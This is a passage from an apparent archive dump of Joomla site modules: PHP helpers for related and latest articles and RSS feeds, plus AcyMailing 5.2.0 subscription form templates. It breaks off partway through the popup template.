				foreach ($likes as $keyword)
				{
					$wheres[] = 'a.metakey LIKE ' . $db->quote('%' . $keyword . '%');
				}

				$query->where('(' . implode(' OR ', $wheres) . ')')
					->where('(a.publish_up = ' . $db->quote($nullDate) . ' OR a.publish_up <= ' . $db->quote($now) . ')')
					->where('(a.publish_down = ' . $db->quote($nullDate) . ' OR a.publish_down >= ' . $db->quote($now) . ')');

				// Filter by language
				if (JLanguageMultilang::isEnabled())
				{
					$query->where('a.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')');
				}

				$db->setQuery($query, 0, $maximum);

				try
				{
					$articleIds = $db->loadColumn();
				}
				catch (RuntimeException $e)
				{
					JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

					return array();
				}

				if (count($articleIds))
				{
					$articles->setState('filter.article_id', $articleIds);
					$articles->setState('filter.published', 1);
					$related = $articles->getItems();
				}

				unset($articleIds);
			}
		}

		if (count($related))
		{
			// Prepare data for display using display options
			foreach ($related as &$item)
			{
				$item->slug    = $item->id . ':' . $item->alias;

				/** @deprecated Catslug is deprecated, use catid instead. 4.0 */
				$item->catslug = $item->catid . ':' . $item->category_alias;

				$item->route   = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language));
			}
		}

		return $related;
	}
}
mod_articles_latest/helper.php000064400000007356150746170550012602 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_latest
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_content/models', 'ContentModel');

use Joomla\Utilities\ArrayHelper;

/**
 * Helper for mod_articles_latest
 *
 * @since  1.6
 */
abstract class ModArticlesLatestHelper
{
	/**
	 * Retrieve a list of article
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  mixed
	 *
	 * @since   1.6
	 */
	public static function getList(&$params)
	{
		// Get the dbo
		$db = JFactory::getDbo();

		// Get an instance of the generic articles model
		$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));

		// Set application parameters in model
		$app       = JFactory::getApplication();
		$appParams = $app->getParams();
		$model->setState('params', $appParams);

		$model->setState('list.start', 0);
		$model->setState('filter.published', 1);

		// Set the filters based on the module params
		$model->setState('list.limit', (int) $params->get('count', 5));

		// This module does not use tags data
		$model->setState('load_tags', false);

		// Access filter
		$access     = !JComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id'));
		$model->setState('filter.access', $access);

		// Category filter
		$model->setState('filter.category_id', $params->get('catid', array()));

		// User filter
		$userId = JFactory::getUser()->get('id');

		switch ($params->get('user_id'))
		{
			case 'by_me' :
				$model->setState('filter.author_id', (int) $userId);
				break;
			case 'not_me' :
				$model->setState('filter.author_id', $userId);
				$model->setState('filter.author_id.include', false);
				break;

			case 'created_by' :
				$model->setState('filter.author_id', $params->get('author', array()));
				break;

			case '0' :
				break;

			default:
				$model->setState('filter.author_id', (int) $params->get('user_id'));
				break;
		}

		// Filter by language
		$model->setState('filter.language', $app->getLanguageFilter());

		// Featured switch
		$featured = $params->get('show_featured', '');

		if ($featured === '')
		{
			$model->setState('filter.featured', 'show');
		}
		elseif ($featured)
		{
			$model->setState('filter.featured', 'only');
		}
		else
		{
			$model->setState('filter.featured', 'hide');
		}

		// Set ordering
		$order_map = array(
			'm_dsc' => 'a.modified DESC, a.created',
			'mc_dsc' => 'CASE WHEN (a.modified = ' . $db->quote($db->getNullDate()) . ') THEN a.created ELSE a.modified END',
			'c_dsc' => 'a.created',
			'p_dsc' => 'a.publish_up',
			'random' => $db->getQuery(true)->Rand(),
		);

		$ordering = ArrayHelper::getValue($order_map, $params->get('ordering'), 'a.publish_up');
		$dir      = 'DESC';

		$model->setState('list.ordering', $ordering);
		$model->setState('list.direction', $dir);

		$items = $model->getItems();

		foreach ($items as &$item)
		{
			$item->slug    = $item->id . ':' . $item->alias;

			/** @deprecated Catslug is deprecated, use catid instead. 4.0 */
			$item->catslug = $item->catid . ':' . $item->category_alias;

			if ($access || in_array($item->access, $authorised))
			{
				// We know that user has the privilege to view the article
				$item->link = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language));
			}
			else
			{
				$item->link = JRoute::_('index.php?option=com_users&view=login');
			}
		}

		return $items;
	}
}
mod_feed/helper.php000064400000001611150746170550010307 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_feed
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_feed
 *
 * @since  1.5
 */
class ModFeedHelper
{
	/**
	 * Retrieve feed information
	 *
	 * @param   \Joomla\Registry\Registry  $params  module parameters
	 *
	 * @return  JFeedReader|string
	 */
	public static function getFeed($params)
	{
		// Module params
		$rssurl = $params->get('rssurl', '');

		// Get RSS parsed object
		try
		{
			$feed   = new JFeedFactory;
			$rssDoc = $feed->getFeed($rssurl);
		}
		catch (Exception $e)
		{
			return JText::_('MOD_FEED_ERR_FEED_NOT_RETRIEVED');
		}

		if (empty($rssDoc))
		{
			return JText::_('MOD_FEED_ERR_FEED_NOT_RETRIEVED');
		}

		if ($rssDoc)
		{
			return $rssDoc;
		}
	}
}
mod_acymailing/tmpl/index.html000060400000000054150746170550012476 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_acymailing/tmpl/tableless.php000060400000031537150746170550013202 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.2.0
 * @author	acyba.com
 * @copyright	(C) 2009-2016 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><div class="acymailing_module<?php echo $params->get('moduleclass_sfx')?>" id="acymailing_module_<?php echo $formName; ?>">
<?php
	$style = array();
	if($params->get('effect','normal') == 'mootools-slide'){
		if(!empty($mootoolsIntro)) echo '<p class="acymailing_mootoolsintro">'.$mootoolsIntro.'</p>'; ?>
		<div class="acymailing_mootoolsbutton" id="acymailing_toggle_<?php echo $formName; ?>">
			<p><a class="acymailing_togglemodule" id="acymailing_togglemodule_<?php echo $formName; ?>" href="#subscribe"><?php echo $mootoolsButton ?></a></p>
	<?php
	}
	if($params->get('textalign','none') != 'none') $style[] .= 'text-align:'.$params->get('textalign');
	$styleString = empty($style) ? '' : 'style="'.implode(';',$style).'"';
	?>
	<div class="acymailing_fulldiv" id="acymailing_fulldiv_<?php echo $formName; ?>" <?php echo $styleString; ?> >
		<form id="<?php echo $formName; ?>" action="<?php echo JRoute::_('index.php'); ?>" onsubmit="return submitacymailingform('optin','<?php echo $formName;?>')" method="post" name="<?php echo $formName ?>" <?php if(!empty($fieldsClass->formoption)) echo $fieldsClass->formoption; ?> >
		<div class="acymailing_module_form" >
			<?php if(!empty($introText)) echo '<div class="acymailing_introtext">'.$introText.'</div>';

			$listContent = '';
			if($params->get('dropdown',0)){
				$listContent .= '<select name="subscription[1]">';
				foreach($visibleListsArray as $myListId){
					$listContent .= '<option value="'.$myListId.'">'.$allLists[$myListId]->name.'</option>';
				}
				$listContent .= '</select>';
			} else{
				$listContent .= '<div class="acymailing_lists">';
				foreach($visibleListsArray as $myListId){
					$check = in_array($myListId,$checkedListsArray) ? 'checked="checked"' : '';

					if($params->get('checkmode',0) == '0' AND !empty($identifiedUser->email)){
						if(empty($allLists[$myListId]->status)){$check = '';}
						else{
							$check = $allLists[$myListId]->status == '-1' ? '' : 'checked="checked"';
						}
					}
					$listContent .= '
					<p class="onelist">
						<label for="acylist_'.$myListId.'">
						<input type="checkbox" class="acymailing_checkbox" name="subscription[]" id="acylist_'.$myListId.'" '.$check.' value="'.$myListId.'"/>';
						$joomItem = $params->get('itemid',0);
						if(empty($joomItem)) $joomItem = $config->get('itemid',0);
						$addItem = empty($joomItem) ? '' : '&Itemid='.$joomItem;
						$archivelink = acymailing_completeLink('archive&listid='.$allLists[$myListId]->listid.'-'.$allLists[$myListId]->alias.$addItem);
						if($params->get('overlay',0)){
							if(!$params->get('link',1) OR !$allLists[$myListId]->visible) $archivelink = '';
							$listContent .= acymailing_tooltip($allLists[$myListId]->description,$allLists[$myListId]->name,'',$allLists[$myListId]->name,$archivelink);
						}else{
							if($params->get('link',1) AND $allLists[$myListId]->visible){
								$listContent .= '<a href="'.$archivelink.'" alt="'.$allLists[$myListId]->alias.'"'.((JRequest::getCmd('tmpl') == 'component') ? 'target="_blank"' : '').' >';
							}
							$listContent .= $allLists[$myListId]->name;
							if($params->get('link',1) AND $allLists[$myListId]->visible){
								$listContent .= '</a>';
							}
						}
						$listContent .= '
						</label>
					</p>';
				 }
				$listContent .= '</div>';
			}

			if(!empty($visibleListsArray) && $listPosition == 'before') echo $listContent; ?>
			<div class="acymailing_form">
					<?php
					$tmpCatId = array();
					$tmpCatTag = array();
					foreach($fieldsToDisplay as $oneField){
						if(empty($extraFields[$oneField])) echo '<p class="onefield fieldacy'.$oneField.'" id="field_'.$oneField.'_'.$formName.'">';
						if($oneField == 'name' AND empty($extraFields[$oneField])){
							if($displayOutside) echo '<label for="user_name_'.$formName.'" class="acy_requiredField">'.$nameCaption.'</label>'; ?>
							<span class="acyfield_<?php echo $oneField. (!$displayOutside? ' acy_requiredField':''); ?>"><input id="user_name_<?php echo $formName; ?>" <?php if(!empty($identifiedUser->userid)) echo 'readonly="readonly" '; if(!$displayOutside){ ?> onfocus="if(this.value == '<?php echo $nameCaption;?>') this.value = '';" onblur="if(this.value=='') this.value='<?php echo $nameCaption?>';"<?php } ?> class="inputbox" type="text" name="user[name]" style="width:<?php echo $fieldsize; ?>" value="<?php if(!empty($identifiedUser->userid)) echo $identifiedUser->name; elseif(!$displayOutside) echo $nameCaption; ?>" title="<?php echo $nameCaption;?>"/></span>
							<?php
						}elseif($oneField == 'email' AND empty($extraFields[$oneField])){
							if($displayOutside) echo '<label for="user_email_'.$formName.'" class="acy_requiredField">'.$emailCaption.'</label>'; ?>
							<span class="acyfield_<?php echo $oneField. (!$displayOutside? ' acy_requiredField':''); ?>"><input id="user_email_<?php echo $formName; ?>" <?php if(!empty($identifiedUser->userid)) echo 'readonly="readonly" '; if(!$displayOutside){ ?> onfocus="if(this.value == '<?php echo $emailCaption;?>') this.value = '';" onblur="if(this.value=='') this.value='<?php echo $emailCaption?>';"<?php } ?> class="inputbox" type="text" name="user[email]" style="width:<?php echo $fieldsize; ?>" value="<?php if(!empty($identifiedUser->userid)) echo $identifiedUser->email; elseif(!$displayOutside) echo $emailCaption; ?>" title="<?php echo $emailCaption;?>" /></span>
							<?php
						}elseif($oneField == 'html' AND empty($extraFields[$oneField])){
							echo '<label>'.JText::_('RECEIVE').'</label>';
							echo '<span class="acyfield_'.$oneField.'">'.JHTML::_('select.booleanlist', "user[html]" ,'title="'.JText::_('RECEIVE').'"',isset($identifiedUser->html) ? $identifiedUser->html : 1,JText::_('HTML'),JText::_('JOOMEXT_TEXT'),'user_html_'.$formName).'</span>';
						}elseif(!empty($extraFields[$oneField])){
							if($extraFields[$oneField]->type == 'category'){
								if(empty($extraFields[$oneField]->fieldcat) && !empty($tmpCatId)){
									while(!empty($tmpCatId)){
										echo '</'.str_replace('fldset', 'fieldset', end($tmpCatTag)).'>';
										array_pop($tmpCatId);
										array_pop($tmpCatTag);
									}
								}
								$tmpCatId[] = $extraFields[$oneField]->fieldid;
								$tmpCatTag[] = $extraFields[$oneField]->options['fieldcattag'];
								echo '<'.str_replace('fldset', 'fieldset', end($tmpCatTag)).' class="fieldCategory fieldacy'.$extraFields[$oneField]->namekey.' '.$extraFields[$oneField]->options['fieldcatclass'].'">';
								if(in_array(end($tmpCatTag), array('fieldset', 'fldset'))) echo '<legend>'.$extraFields[$oneField]->fieldname.'</legend>';
							}else{
								if(in_array($extraFields[$oneField]->fieldcat, $tmpCatId) || empty($extraFields[$oneField]->fieldcat)){
									while(!empty($tmpCatId) && $extraFields[$oneField]->fieldcat != end($tmpCatId)){
										echo '</'.str_replace('fldset', 'fieldset', end($tmpCatTag)).'>';
										array_pop($tmpCatId);
										array_pop($tmpCatTag);
									}
								}
								echo '<p class="onefield fieldacy'.$oneField.'" id="field_'.$oneField.'_'.$formName.'">';
								if($displayOutside){
									if(!empty($extraFields[$oneField]->required)) $requireClass = 'class="acy_requiredField"';
									else $requireClass = "";
									 echo '<label '.((strpos($extraFields[$oneField]->type,'text') !== false) ? 'for="user_'.$oneField.'_'.$formName.'"' : '' ).' '.$requireClass.'>'.$fieldsClass->trans($extraFields[$oneField]->fieldname).'</label>';
								}
								$sizestyle = '';
								if(!empty($extraFields[$oneField]->options['size'])){
									$sizestyle = 'style="width:'.(is_numeric($extraFields[$oneField]->options['size']) ? ($extraFields[$oneField]->options['size'].'px') : $extraFields[$oneField]->options['size']).'"';
								}
								if(!empty($extraFields[$oneField]->required) && !$displayOutside) $requireClass = ' acy_requiredField';
								else $requireClass = "";
								?>
								<span class="acyfield_<?php echo $oneField.$requireClass; ?>">
								<?php if(!empty($identifiedUser->userid) AND in_array($oneField,array('name','email'))){ ?>
										<input id="user_<?php echo $oneField; ?>_<?php echo $formName; ?>" readonly="readonly" class="inputbox" type="text" name="user[<?php echo $oneField;?>]" <?php echo $sizestyle; ?> value="<?php echo @$identifiedUser->$oneField; ?>" title="<?php echo $oneField;?>"/>
								<?php }else{
										echo $fieldsClass->display($extraFields[$oneField],@$identifiedUser->$oneField,'user['.$oneField.']',!$displayOutside);
								}?>
								</span>
								</p>
								<?php
							}
						}
						if(empty($extraFields[$oneField])) echo '</p>';
					}
					if(!empty($extraFields)){
						$lastVal = end($tmpCatId);
						while(!empty($lastVal)){
							echo '</'.str_replace('fldset', 'fieldset', end($tmpCatTag)).'>';
							array_pop($tmpCatId);
							array_pop($tmpCatTag);
							$lastVal = end($tmpCatId);
						}
					}

				if(empty($identifiedUser->userid) AND $config->get('captcha_enabled') AND acymailing_level(1)){ ?>
					<?php
					echo '<p class="onefield fieldacycaptcha" id="field_captcha_'.$formName.'">';
					$captchaClass = acymailing_get('class.acycaptcha');
					$captchaClass->display($formName);
					?>
					</p>
				<?php }

				 if($params->get('showterms',false)){
					echo '<p class="onefield fieldacyterms" id="field_terms_'.$formName.'">';
					?>
					<label for="mailingdata_terms_<?php echo $formName; ?>"><input id="mailingdata_terms_<?php echo $formName; ?>" class="checkbox" type="checkbox" name="terms" title="<?php echo JText::_('JOOMEXT_TERMS'); ?>"/> <?php echo $termslink; ?></label>
					</p>
					<?php } ?>

					<?php if(!empty($visibleListsArray) && $listPosition == 'after')  echo $listContent; ?>

					<p class="acysubbuttons">
						<?php if($params->get('showsubscribe',true)){?>
						<input class="button subbutton btn btn-primary" type="submit" value="<?php $subtext = $params->get('subscribetextreg'); if(empty($identifiedUser->userid) OR empty($subtext)){ $subtext = $params->get('subscribetext',JText::_('SUBSCRIBECAPTION')); } echo $subtext;  ?>" name="Submit" onclick="try{ return submitacymailingform('optin','<?php echo $formName;?>'); }catch(err){alert('The form could not be submitted '+err);return false;}"/>
						<?php }if($params->get('showunsubscribe',false) AND (!$params->get('showsubscribe',true) OR empty($identifiedUser->userid) OR !empty($countUnsub)) ){?>
						<input class="button unsubbutton btn btn-inverse" type="button" value="<?php echo $params->get('unsubscribetext',JText::_('UNSUBSCRIBECAPTION')); ?>" name="Submit" onclick="return submitacymailingform('optout','<?php echo $formName;?>')"/>
						<?php } ?>
					</p>
				</div>
			<?php
			if(!empty($fieldsClass->excludeValue)){
				$js = "\n"."acymailing['excludeValues".$formName."'] = Array();";
				foreach($fieldsClass->excludeValue as $namekey => $value){
					$js .= "\n"."acymailing['excludeValues".$formName."']['".$namekey."'] = '".$value."';";
				}
				$js .= "\n";
				$doc = JFactory::getDocument();
				if($params->get('includejs','header') == 'header'){
					$doc->addScriptDeclaration( $js );
				}else{
					echo "<script type=\"text/javascript\">
							<!--
							$js
							//-->
							</script>";
				}
			}
			if(!empty($postText)) echo '<div class="acymailing_finaltext">'.$postText.'</div>';
			$ajax = ($params->get('redirectmode') == '3') ? 1 : 0;?>
			<input type="hidden" name="ajax" value="<?php echo $ajax; ?>"/>
			<input type="hidden" name="acy_source" value="<?php echo 'module_'.$module->id ?>" />
			<input type="hidden" name="ctrl" value="sub"/>
			<input type="hidden" name="task" value="notask"/>
			<input type="hidden" name="redirect" value="<?php echo urlencode($redirectUrl); ?>"/>
			<input type="hidden" name="redirectunsub" value="<?php echo urlencode($redirectUrlUnsub); ?>"/>
			<input type="hidden" name="option" value="<?php echo ACYMAILING_COMPONENT ?>"/>
			<?php if(!empty($identifiedUser->userid)){ ?><input type="hidden" name="visiblelists" value="<?php echo $visibleLists;?>"/><?php } ?>
			<input type="hidden" name="hiddenlists" value="<?php echo $hiddenLists;?>"/>
			<input type="hidden" name="acyformname" value="<?php echo $formName; ?>" />
			<?php if(JRequest::getCmd('tmpl') == 'component'){ ?>
				<input type="hidden" name="tmpl" value="component" />
				<?php if($params->get('effect','normal') == 'mootools-box' AND !empty($redirectUrl)){ ?>
					<input type="hidden" name="closepop" value="1" />
				<?php } } ?>
			<?php $myItemId = $config->get('itemid',0); if(empty($myItemId)){ global $Itemid; $myItemId = $Itemid;} if(!empty($myItemId)){ ?><input type="hidden" name="Itemid" value="<?php echo $myItemId;?>"/><?php } ?>
			</div>
		</form>
	</div>
	<?php if($params->get('effect','normal') == 'mootools-slide'){ ?> </div> <?php } ?>
</div>
mod_acymailing/tmpl/default.php000060400000027276150746170550012655 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.2.0
 * @author	acyba.com
 * @copyright	(C) 2009-2016 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><div class="acymailing_module<?php echo $params->get('moduleclass_sfx')?>" id="acymailing_module_<?php echo $formName; ?>">
<?php
	$style = array();
	if($params->get('effect','normal') == 'mootools-slide'){
		if(!empty($mootoolsIntro)) echo '<p class="acymailing_mootoolsintro">'.$mootoolsIntro.'</p>'; ?>
		<div class="acymailing_mootoolsbutton" id="acymailing_toggle_<?php echo $formName; ?>" >
			<p><a class="acymailing_togglemodule" id="acymailing_togglemodule_<?php echo $formName; ?>" href="#subscribe"><?php echo $mootoolsButton ?></a></p>
	<?php
	}
	if($params->get('textalign','none') != 'none') $style[] .= 'text-align:'.$params->get('textalign');
	$styleString = empty($style) ? '' : 'style="'.implode(';',$style).'"';
	?>
	<div class="acymailing_fulldiv" id="acymailing_fulldiv_<?php echo $formName; ?>" <?php echo $styleString; ?> >
		<form id="<?php echo $formName; ?>" action="<?php echo JRoute::_('index.php'); ?>" onsubmit="return submitacymailingform('optin','<?php echo $formName;?>')" method="post" name="<?php echo $formName ?>" <?php if(!empty($fieldsClass->formoption)) echo $fieldsClass->formoption; ?> >
		<div class="acymailing_module_form" >
			<?php if(!empty($introText)) echo '<div class="acymailing_introtext">'.$introText.'</div>';

			$listContent = '';
			if($params->get('dropdown',0)){
				$listContent .= '<select name="subscription[1]">';
				foreach($visibleListsArray as $myListId){
					$listContent .= '<option value="'.$myListId.'">'.$allLists[$myListId]->name.'</option>';
				}
				$listContent .= '</select>';
			} else{
				$listContent .= '<table class="acymailing_lists">';
				foreach($visibleListsArray as $myListId){
					$check = in_array($myListId,$checkedListsArray) ? 'checked="checked"' : '';
					if($params->get('checkmode',0) == '0' AND !empty($identifiedUser->email)){
						if(empty($allLists[$myListId]->status)){$check = '';}
						else{
							$check = $allLists[$myListId]->status == '-1' ? '' : 'checked="checked"';
						}
					}
					$listContent .= '
					<tr>
						<td>
						<label for="acylist_'.$myListId.'">
						<input type="checkbox" class="acymailing_checkbox" name="subscription[]" id="acylist_'.$myListId.'" '.$check.' value="'.$myListId.'"/>';
						$joomItem = $params->get('itemid',0);
						if(empty($joomItem)) $joomItem = $config->get('itemid',0);
						$addItem = empty($joomItem) ? '' : '&Itemid='.$joomItem;
						$archivelink = acymailing_completeLink('archive&listid='.$allLists[$myListId]->listid.'-'.$allLists[$myListId]->alias.$addItem);
						if($params->get('overlay',0)){
							if(!$params->get('link',1) OR !$allLists[$myListId]->visible) $archivelink = '';
							$listContent .= ' '.acymailing_tooltip($allLists[$myListId]->description,$allLists[$myListId]->name,'',$allLists[$myListId]->name,$archivelink);
						}else{
							if($params->get('link',1) AND $allLists[$myListId]->visible){
								$listContent .= ' <a href="'.$archivelink.'" alt="'.$allLists[$myListId]->alias.'"'.((JRequest::getCmd('tmpl') == 'component') ? 'target="_blank"' : '').' >';
							}
							$listContent .= $allLists[$myListId]->name;
							if($params->get('link',1) AND $allLists[$myListId]->visible){
								$listContent .= '</a>';
							}
						}
						$listContent .= '</label>
						</td>
					</tr>';
				}
				$listContent .= '</table>';
			}

			if(!empty($visibleListsArray) && $listPosition == 'before'){
				echo $listContent;
			}//endif visiblelists
			?>
			<table class="acymailing_form">
				<tr>
					<?php foreach($fieldsToDisplay as $oneField){
						if($oneField == 'name' AND empty($extraFields[$oneField])){
							if($displayOutside) echo '<td><label for="user_name_'.$formName.'" class="acy_requiredField">'.$nameCaption.'</label></td>'; ?>
							<td class="acyfield_<?php echo $oneField. (!$displayOutside? ' acy_requiredField':''); ?>">
								<input id="user_name_<?php echo $formName; ?>" <?php if(!empty($identifiedUser->userid)) echo 'readonly="readonly" ';  if(!$displayOutside){ ?> onfocus="if(this.value == '<?php echo $nameCaption;?>') this.value = '';" onblur="if(this.value=='') this.value='<?php echo $nameCaption?>';"<?php } ?> class="inputbox" type="text" name="user[name]" style="width:<?php echo $fieldsize; ?>" value="<?php if(!empty($identifiedUser->userid)) echo $identifiedUser->name; elseif(!$displayOutside) echo $nameCaption; ?>" title="<?php echo $nameCaption?>"/>
							</td> <?php
						}elseif($oneField == 'email' AND empty($extraFields[$oneField])){
							if($displayOutside) echo '<td><label for="user_email_'.$formName.'" class="acy_requiredField">'.$emailCaption.'</label></td>'; ?>
							<td class="acyfield_<?php echo $oneField. (!$displayOutside? ' acy_requiredField':''); ?>">
								<input id="user_email_<?php echo $formName; ?>" <?php if(!empty($identifiedUser->userid)) echo 'readonly="readonly" ';  if(!$displayOutside){ ?> onfocus="if(this.value == '<?php echo $emailCaption;?>') this.value = '';" onblur="if(this.value=='') this.value='<?php echo $emailCaption?>';"<?php } ?> class="inputbox" type="text" name="user[email]" style="width:<?php echo $fieldsize; ?>" value="<?php if(!empty($identifiedUser->userid)) echo $identifiedUser->email; elseif(!$displayOutside) echo $emailCaption; ?>" title="<?php echo $emailCaption;?>"/>
							</td> <?php
						}elseif($oneField == 'html' AND empty($extraFields[$oneField])){
							echo '<td class="acyfield_'.$oneField.'" ';
							if($displayOutside AND !$displayInline) echo 'colspan="2"';
							echo '>'.JText::_('RECEIVE').JHTML::_('select.booleanlist', "user[html]" ,'title="'.JText::_('RECEIVE').'"',isset($identifiedUser->html) ? $identifiedUser->html : 1,JText::_('HTML'),JText::_('JOOMEXT_TEXT'),'user_html_'.$formName).'</td>';
						}elseif(!empty($extraFields[$oneField])){
							if($extraFields[$oneField]->type == 'category'){
								echo '<td '. ($displayOutside && !$displayInline?'colspan="2"':'').' class="category_warning">Please use Tableless mode to display categories.</td>';
							} else{
								if($displayOutside){
									if(!empty($extraFields[$oneField]->required)) $requireClass = 'class="acy_requiredField"';
									else $requireClass = "";
									echo '<td><label '.((strpos($extraFields[$oneField]->type,'text') !== false) ? 'for="user_'.$oneField.'_'.$formName.'"' : '' ).' '. $requireClass .'>'.$fieldsClass->trans($extraFields[$oneField]->fieldname).'</label></td>';
								}
								$sizestyle = '';
								if(!empty($extraFields[$oneField]->options['size'])){
									$sizestyle = 'style="width:'.(is_numeric($extraFields[$oneField]->options['size']) ? ($extraFields[$oneField]->options['size'].'px') : $extraFields[$oneField]->options['size']).'"';
								}
								if(!empty($extraFields[$oneField]->required) && !$displayOutside) $requireClass = 'acy_requiredField';
								else $requireClass = "";
								?>
								<td class="acyfield_<?php echo $oneField .' '. $requireClass; ?>">
								<?php if(!empty($identifiedUser->userid) AND in_array($oneField,array('name','email'))){ ?>
										<input id="user_<?php echo $oneField; ?>_<?php echo $formName; ?>" readonly="readonly" class="inputbox" type="text" name="user[<?php echo $oneField;?>]" <?php echo $sizestyle; ?> value="<?php echo @$identifiedUser->$oneField; ?>" title="<?php echo $oneField;?>"/>
								<?php }else{
										echo $fieldsClass->display($extraFields[$oneField],@$identifiedUser->$oneField,'user['.$oneField.']',!$displayOutside);
								}?>
								</td><?php
							}
						}else{
							continue;
						}
						if(!$displayInline) echo '</tr><tr>';
					}

				if(empty($identifiedUser->userid) AND $config->get('captcha_enabled') AND acymailing_level(1)){ ?>
					<td class="captchakeymodule">
					<?php
						$captchaClass = acymailing_get('class.acycaptcha');
						if($displayOutside){ $captchaClass->display($formName).'</td><td class="captchafieldmodule">'; }else{$captchaClass->display($formName);}
					?>
					<?php if(!$displayInline) echo '</tr><tr>';
				}

				 if($params->get('showterms',false)){
					?>
					<td class="acyterms" <?php if($displayOutside AND !$displayInline) echo 'colspan="2"'; ?> >
					<input id="mailingdata_terms_<?php echo $formName; ?>" class="checkbox" type="checkbox" name="terms" title="<?php echo JText::_('JOOMEXT_TERMS'); ?>"/> <?php echo $termslink;?>
					</td>
					<?php if(!$displayInline) echo '</tr><tr>';
					} ?>

					<?php if(!empty($visibleListsArray) && $listPosition == 'after') echo $listContent; ?>

					<td <?php if($displayOutside AND !$displayInline) echo 'colspan="2"'; ?> class="acysubbuttons">
						<?php if($params->get('showsubscribe',true)){?>
						<input class="button subbutton btn btn-primary" type="submit" value="<?php $subtext = $params->get('subscribetextreg'); if(empty($identifiedUser->userid) OR empty($subtext)){ $subtext = $params->get('subscribetext',JText::_('SUBSCRIBECAPTION')); } echo $subtext;  ?>" name="Submit" onclick="try{ return submitacymailingform('optin','<?php echo $formName;?>'); }catch(err){alert('The form could not be submitted '+err);return false;}"/>
						<?php }if($params->get('showunsubscribe',false) AND (!$params->get('showsubscribe',true) OR empty($identifiedUser->userid) OR !empty($countUnsub)) ){?>
						<input class="button unsubbutton  btn btn-inverse" type="button" value="<?php echo $params->get('unsubscribetext',JText::_('UNSUBSCRIBECAPTION')); ?>" name="Submit" onclick="return submitacymailingform('optout','<?php echo $formName;?>')"/>
						<?php } ?>
					</td>
				</tr>
			</table>
			<?php
			if(!empty($fieldsClass->excludeValue)){
				$js = "\n"."acymailing['excludeValues".$formName."'] = Array();";
				foreach($fieldsClass->excludeValue as $namekey => $value){
					$js .= "\n"."acymailing['excludeValues".$formName."']['".$namekey."'] = '".$value."';";
				}
				$js .= "\n";
				$doc = JFactory::getDocument();
				if($params->get('includejs','header') == 'header'){
					$doc->addScriptDeclaration( $js );
				}else{
					echo "<script type=\"text/javascript\">
							<!--
							$js
							//-->
							</script>";
				}
			}
			if(!empty($postText)) echo '<div class="acymailing_finaltext">'.$postText.'</div>';
			$ajax = ($params->get('redirectmode') == '3') ? 1 : 0;?>
			<input type="hidden" name="ajax" value="<?php echo $ajax; ?>" />
			<input type="hidden" name="acy_source" value="<?php echo 'module_'.$module->id ?>" />
			<input type="hidden" name="ctrl" value="sub"/>
			<input type="hidden" name="task" value="notask"/>
			<input type="hidden" name="redirect" value="<?php echo urlencode($redirectUrl); ?>"/>
			<input type="hidden" name="redirectunsub" value="<?php echo urlencode($redirectUrlUnsub); ?>"/>
			<input type="hidden" name="option" value="<?php echo ACYMAILING_COMPONENT ?>"/>
			<?php if(!empty($identifiedUser->userid)){ ?><input type="hidden" name="visiblelists" value="<?php echo $visibleLists;?>"/><?php } ?>
			<input type="hidden" name="hiddenlists" value="<?php echo $hiddenLists;?>"/>
			<input type="hidden" name="acyformname" value="<?php echo $formName; ?>" />
			<?php if(JRequest::getCmd('tmpl') == 'component'){ ?>
				<input type="hidden" name="tmpl" value="component" />
				<?php if($params->get('effect','normal') == 'mootools-box' AND !empty($redirectUrl)){ ?>
					<input type="hidden" name="closepop" value="1" />
				<?php } } ?>
			<?php $myItemId = $config->get('itemid',0); if(empty($myItemId)){ global $Itemid; $myItemId = $Itemid;} if(!empty($myItemId)){ ?><input type="hidden" name="Itemid" value="<?php echo $myItemId;?>"/><?php } ?>
			</div>
		</form>
	</div>
	<?php if($params->get('effect','normal') == 'mootools-slide'){ ?> </div> <?php } ?>
</div>
mod_acymailing/tmpl/popup.php000060400000001775150746170550012370 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.2.0
 * @author	acyba.com
 * @copyright	(C) 2009-2016 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><div class="acymailing_module<?php echo $params->get('moduleclass_sfx') ?>" id="acymailing_module_<?php echo $formName; ?>">
	<?php
	if(!empty($mootoolsIntro)) echo '<p class="acymailing_mootoolsintro">'.$mootoolsIntro.'</p>'; ?>
	<div class="acymailing_mootoolsbutton">
		<?php
		$acypop = acymailing_get('helper.acypopup');
		$acypop->useMootools = ($params->get('loadmootools', '1') == 1) ? true : false;
		$href = acymailing_completeLink('sub&task=display&autofocus=1&formid='.$module->id, true);

